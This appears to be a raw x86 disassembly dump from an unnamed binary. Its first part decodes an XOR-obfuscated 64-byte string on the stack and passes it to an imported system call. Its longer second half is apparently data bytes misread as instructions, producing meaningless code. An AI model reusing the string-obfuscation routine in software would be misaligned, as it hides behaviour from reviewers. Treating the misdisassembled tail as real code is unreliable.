and edx, 1
lea edx, [edi + edx*2]
cmp edx, ecx
jb 0x4266e0
jmp 0x426723
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, 0xffffffff
je 0x426723
push eax
push 4
push ecx
push dword [0x445bb8]
call fcn.00437e00
add esp, 0x10
and bl, 1
mov eax, ebx
mov esi, dword [ebp - 0x30]
jmp dword [0x441094]
and bl, 1
mov eax, ebx
mov esi, dword [ebp - 0x30]
jmp dword [0x441094]
mov ecx, dword [ebp - 0x38]
jmp dword [0x440fc4]
mov eax, dword [ecx]
mov edi, dword [ebp - 0x40]
mov byte [edi + eax], 0
mov dword [ebp - 0x10], 0
jmp dword [0x440fcc]
mov eax, dword [ecx]
mov edi, dword [ebp - 0x40]
mov byte [edi + eax], 0
mov eax, dword [ecx]
mov byte [edi + eax], 0
mov dword [ebp - 0x10], 0
jmp dword [0x440fcc]
push eax
sub esp, 0x3c
mov eax, esp
sub esp, 0x40
mov edx, esp
push eax
mov esi, esp
mov dword [edx], 0x5f9f5db9
mov dword [edx + 4], 0x23922190
mov dword [edx + 8], 0x278725e0
mov dword [edx + 0xc], 0x2b8b299c
mov dword [edx + 0x10], 0x2ff22dc9
mov dword [edx + 0x14], 0x339d31fe
mov dword [edx + 0x18], 0x37933580
mov dword [edx + 0x1c], 0x3b9b3988
mov dword [edx + 0x20], 0x3fd53d98
mov dword [edx + 0x24], 0x3de01eb
mov dword [edx + 0x28], 0x7a305b7
mov dword [edx + 0x2c], 0xbb909bb
mov dword [edx + 0x30], 0xfa10da5
mov dword [edx + 0x34], 0x13fc11be
mov dword [edx + 0x38], 0x17bb15ac
mov dword [edx + 0x3c], 0x1b1a19b4
xor ecx, ecx
nop
nop
nop
nop
nop
mov ebx, ecx
add bl, 0xbc
xor bl, byte [edx + ecx]
add bl, 0x20
mov byte [edx + ecx], bl
inc ecx
cmp ecx, 0x40
jne 0x4267f0
mov ebx, edx
mov edi, eax
mov ecx, 0x10
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov edi, eax
add edi, 0x40
add edx, 0x40
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
push esi
push 0
push 0
push 0x1f
push eax
push 0
call dword [0x445bac]
push eax
sub esp, 0x3c
mov esi, esp
sub esp, 0x40
mov eax, esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov ebx, esp
push eax
mov edi, esp
push eax
mov dword [ebp - 0x38], esp
sub esp, 0xc
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x28], esp
push eax
mov dword [ebp - 0x34], esp
sub esp, 0x1c
mov dword [ebp - 0x44], esp
mov dword [eax], 0x5f9f5db9
mov dword [eax + 4], 0x23922190
mov dword [eax + 8], 0x278725e0
mov dword [eax + 0xc], 0x2b8b299c
mov dword [eax + 0x10], 0x2ff22dc9
mov dword [eax + 0x14], 0x339d31fe
mov dword [eax + 0x18], 0x37933580
mov dword [eax + 0x1c], 0x3b9b3988
mov dword [eax + 0x20], 0x3fd53d98
mov dword [eax + 0x24], 0x3de01eb
mov dword [eax + 0x28], 0x7a305b7
mov dword [eax + 0x2c], 0xbb909bb
mov dword [eax + 0x30], 0xfa10da5
mov dword [eax + 0x34], 0x13fc11be
mov dword [eax + 0x38], 0x17bb15ac
mov dword [eax + 0x3c], 0x1b1a19b4
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xbc
xor dl, byte [eax + ecx]
add dl, 0x20
mov byte [eax + ecx], dl
inc ecx
cmp ecx, 0x40
jne 0x4268e0
mov dword [ebp - 0x48], edi
mov edx, eax
mov edi, esi
mov ecx, 0x10
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edi, esi
add edi, 0x40
add eax, 0x40
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov edi, dword [ebp - 0x10]
push edi
push 0
push 0
push 0x1f
push esi
push 0
call dword [0x445bac]
mov dword [ebx], 0xc0000023
jmp dword [0x440f50]
xor ecx, ecx
cmp eax, 0xc0000023
setne cl
jmp dword [ecx*4 + 0x440f54]
xor eax, eax
jmp dword [0x440f64]
push 0x60
push 3
push 0x120089
push edi
push esi
call fcn.00439c50
add esp, 0x14
push 0x60
push 3
push 0x120089
push edi
push esi
call fcn.00439c50
add esp, 0x14
jmp dword [0x440f84]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440f8c]
xor ebx, ebx
xor eax, eax
jmp dword [0x441094]
push esi
call fcn.00408300
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [ebp - 0x38]
jmp dword [0x440f94]
add al, byte [edx]
xor al, byte [ebx]
inc edx
add byte [ebp + 2], ch
inc edx
add ah, al
add al, byte [edx]
aad 2
inc edx
add ah, al
add al, byte [edx]
loope 0x440484
inc edx
add dh, dh
add al, byte [edx]
jmp 0x3244468f
test byte [edx], 0x42
add cl, ch
add al, byte [edx]
xor al, byte [ebx]
inc edx
add ah, dh
add eax, 0x4da0042
inc edx
add dl, bl
add al, 0x42
add dl, bh
push es
inc edx
add byte [esi], dl
pop es
inc edx
add byte [esi], al
pop es
inc edx
add byte [esi], dl
pop es
inc edx
add byte [esi + 0x78004208], dl
or byte [edx], al
cmp eax, 0x78004203
or byte [edx], al
dec edi
add eax, dword [edx]
cld
add al, byte [edx]
or dword [eax], 0x8870042
inc edx
add byte [ebx], cl
add eax, dword [edx]
adc dword [ebx], eax
inc edx
add byte [edx], bl
add eax, dword [edx]
xor byte [ebx], al
inc edx
add byte [eax], dh
add eax, dword [edx]
xor byte [ebx], al
inc edx
add byte [edx], dh
add eax, dword [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
xor al, byte [ebx]
inc edx
add cl, cl
or dword [edx], eax
or cl, byte [ebx]
inc edx
add byte [edi], ch
or al, 0x42
add byte [edx], cl
or eax, dword [edx]
inc edx
or al, 66
add byte [esi + 0xd], bh
inc edx
add byte [ebx + 0x4b00420c], ch
or al, 0x42
add byte [esi - 0x54ffbdf4], dh
or al, 0x42
add byte [edi - 0x3dffbdf7], bh
or al, 0x42
add byte [ebx + 0xd], dh
inc edx
add byte [esi + 0xd], bh
inc edx
add byte [ecx + 0xe], dl
push cs
inc edx
add byte [edi + 0xe], bh
inc edx
add byte [edi + 0xe], bh
inc edx
add byte [esi - 0x6fffbdf2], al
push cs
inc edx
add byte [eax - 0x6dffbdf2], dl
push cs
inc edx
add byte [eax - 0x7ffbdf2], dl
and dword [edx], eax
ror dword [esi], 1
inc edx
add byte [esi + 0x11004224], dl
and al, byte [edx]
sbb dword [edi], ecx
inc edx
add byte [eax], ah
cmovb eax, dword [eax]
inc ebp
cmovb eax, dword [eax]
push eax
cmovb eax, dword [eax]
xor byte [ebx], bl
inc edx
add byte [eax], dh
sbb eax, dword [edx]
xor bl, byte [ebx]
inc edx
add byte [eax], dh
sbb eax, dword [edx]
jo 0x4405a3
inc edx
add byte [ecx + 0x1b], al
inc edx
add byte [esi], bl
sbb eax, dword [edx]
cmp dword [edx + eax*2], ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx + 0x1004224], ah
add byte [eax], al
add byte [eax], ah
sbb al, 0x42
add byte [ebp + 0x1c], ch
inc edx
add byte [eax - 0x1fffbde0], dh
sbb al, 0x42
add dh, bh
sbb al, 0x42
add byte [eax], dl
sbb eax, 0x1deb0042
inc edx
add byte [eax], al
pop ds
inc edx
add byte [eax + 0x421c], ah
push ds
inc edx
add byte [esi + 0x1f], ah
inc edx
add byte [ebx + 0x1f], ch
inc edx
add byte [esi + 0x4220], dh
and dword [edx], eax
mov dh, 0x20
inc edx
add byte [eax], ah
sbb al, 0x42
add dh, bl
and dword [edx], eax
ror byte [esi], 0x42
add byte [ecx - 1778367964], cl
and al, 0x42
add byte [eax + 0x56004228], ah
sub byte [edx], al
cmpsd dword [esi], dword es:[edi]
sub byte [edx], al
sub byte [edx], 0x42
add byte [ebx + 42], al
inc edx
add byte [ebx + 0x2a], al
inc edx
add byte [eax - 0x55ffbdd6], ah
das
inc edx
add al, ah
sub al, 0x42
add cl, dh
sub al, byte [edx]
inc eax
sub eax, dword [edx]
jo 0x440649
inc edx
add byte [edx + 0x2b00422f], ch
sub al, 0x42
add byte [0x6500422c], ah
sub eax, dword [edx]
xor dword [ebx], ebp
inc edx
add dh, al
sub al, 0x42
add al, ah
sub al, byte [edx]
jno 0x440668
inc edx
add byte [eax + 0x2d], bh
inc edx
add byte [eax + 0x2d], dh
inc edx
add byte [eax + 0x2d], dh
inc edx
add byte [eax + 0x2d], bh
sub eax, 0x2d780042
inc edx
add byte [eax + 0x2d], bh
inc edx
add byte [eax - 0x55ffbdd6], al
das
inc edx
add byte [eax - 0x5fffbdd8], dl
sub byte [edx], al
push esi
sub byte [edx], al
sub byte [bp + si], al
sub dword [edi], 797573186
inc edx
add byte [eax - 0x6dffbdd1], dl
das
inc edx
add byte [edx + 0x7000422f], dl
sub eax, 0x2f900042
inc edx
add byte [eax + 0x33], dl
inc edx
add byte [edx], ah
xor al, 0x42
add byte [ecx], ch
xor al, 0x42
add byte [edi - 0xfffbdc8], cl
xor al, 0x42
add al, dh
xor al, 0x42
add byte [esi + 0x350c0042], cl
inc edx
add byte [edi + 0x38], dh
inc edx
add byte [ebp + 0x35], dl
inc edx
add byte [eax - 0x67ffbdcb], dh
xor eax, 0x35b00042
inc edx
add byte [ecx - 0x10ffbdcb], bh
xor eax, 0x36020042
inc edx
add byte [edx], al
inc edx
add byte [esi + esi], ah
inc edx
add byte [edx], dh
inc edx
add byte [edx - 0x54ffbdc9], ah
aaa
inc edx
add bh, cl
aaa
inc edx
add cl, bh
aaa
inc edx
add byte [esi], bl
cmp byte [edx], al
aaa
inc edx
add dl, cl
aaa
inc edx
add byte [eax + 0x35], al
inc edx
add byte [eax + 0x35], al
inc edx
add byte [eax + 0x35], al
inc edx
add byte [esi - 0x1bffbdc8], bl
cmp byte [edx], al
mov dword [eax], edi
inc edx
add byte [ecx], bh
cmp dword [edx], eax
inc ebp
cmp dword [edx], eax
invalid
sub al, byte [edx]
sub byte [edx], 0x42
add byte [ecx + 42], dh
inc edx
add byte [eax - 0x1fffbdd6], ah
sub al, 0x42
add cl, dh
sub al, byte [edx]
xor dword [ebx], ebp
inc edx
add byte [eax + 0x2b], al
inc edx
add byte [ebp + 0x2b], ah
inc edx
add byte [eax + 0x2b], dh
inc edx
add byte [0x2b00422c], ah
sub al, 0x42
add dh, al
sub al, 0x42
add al, ah
sub al, byte [edx]
jo 0x440bc3
invalid
sub eax, 0x2d780042
inc edx
add byte [eax + 0x2d], bh
inc edx
add byte [eax + 0x2d], dh
inc edx
add byte [eax + 0x2d], dh
inc edx
add byte [eax + 0x2d], bh
inc edx
add byte [eax + 0x2d], dh
inc edx
add byte [eax - 0x6fffbdd8], ah
sub byte [edx], al
push esi
sub byte [edx], al
mov al, byte [0x92004228]
das
inc edx
add byte [edi + 0x28], ah
inc edx
add byte [ecx - 0x75ffbdd1], al
das
inc edx
add byte [eax - 0x6fffbdd1], dl
das
inc edx
add byte [eax - 0x6dffbdd1], dl
das
inc edx
add byte [edx], ah
xor al, 0x42
add byte [ecx], ch
xor al, 0x42
add al, dh
xor al, 0x42
add byte [edi - 0xfffbdc8], cl
xor al, 0x42
add al, dh
xor al, 0x42
add byte [esi + 0x34f00042], cl
inc edx
add byte [edi + 0x38], dh
inc edx
add byte [ebp + 0x35], dl
inc edx
add byte [ecx - 0x61ffbdc8], cl
cmp byte [edx], al
cwde
xor eax, 900726850
inc edx
add byte [eax + 0x35], al
inc edx
add byte [ecx + 0x40004235], bh
xor eax, 0x35ef0042
inc edx
add byte [edx], al
inc edx
add byte [edx], al
inc edx
add byte [esi + esi], ah
inc edx
add byte [edx], al
inc edx
add byte [eax + 0x35], al
inc edx
add byte [edx], dh
inc edx
add byte [edx - 0x54ffbdc9], ah
aaa
inc edx
add dl, cl
aaa
inc edx
add bh, cl
aaa
inc edx
add bl, dh
aaa
inc edx
add cl, bh
aaa
inc edx
add byte [ecx], bh
cmp dword [edx], eax
inc ebp
cmp dword [edx], eax
xor byte [ebx], bh
cmp eax, dword [edx]
call 0x7c444ead
cmp al, 66
add byte [esi + 0x6800423c], dl
cmp eax, 0x3ca70042
inc edx
add byte [ebx - 0x43ffbdc3], cl
cmp eax, 0x3f3c0042
inc edx
add dl, ah
cmp eax, 0x3f2a0042
inc edx
add byte [ecx], bl
inc edx
add byte [esi], al
aas
inc edx
add byte [esi + 0x3e], dh
inc edx
add byte [esi], al
aas
inc edx
add dh, ah
inc esp
inc edx
add byte [esi], al
aas
inc edx
add byte [edx], bh
inc ebp
inc edx
add byte [eax], dl
aas
inc edx
add byte [edx], ch
aas
inc edx
add byte [eax], dh
aas
inc edx
add byte [edi + edi], bh
inc edx
add byte [ebp - 0x5effbdc3], dl
aas
inc edx
add byte [edi - 0x50ffbdc1], ch
cmp eax, 0x40fb0042
inc eax